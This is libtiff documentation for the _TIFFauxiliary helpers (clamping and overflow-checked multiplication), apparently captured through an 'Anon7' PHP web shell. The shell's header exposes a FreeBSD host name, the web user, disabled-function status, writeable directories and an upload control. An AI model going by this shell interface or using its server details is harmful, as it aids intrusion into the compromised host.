KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /usr/local/share/doc/tiff-4.6.0/manual/_sources/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/share/doc/tiff-4.6.0/manual/_sources/functions/_TIFFauxiliary.rst.txt
_TIFFauxiliary
=================

Synopsis
--------

.. highlight:: c

::

    #include <tiffio.h>

.. c:function:: uint32_t _TIFFClampDoubleToUInt32(double val)

.. c:function:: uint32_t _TIFFMultiply32(TIFF* tif, uint32_t first, uint32_t second, const char* where)

.. c:function:: uint64_t _TIFFMultiply64(TIFF* tif, uint64_t first, uint64_t second, const char* where)

Description
-----------

:c:func:`_TIFFClampDoubleToUInt32` clamps double values into the range
of :c:type:`uint32_t` (i.e. 0 .. 0xFFFFFFFF)

:c:func:`_TIFFMultiply32` and :c:func:`_TIFFMultiply64` checks for
an integer overflow of the multiplication result and return the multiplication
result or `0` if an overflow would happen.
The string `where` is printed in the error message in case an overflow
happens and can be used to indicate where the function was called.

See also
--------

:doc:`libtiff` (3tiff),

Anon7 - 2021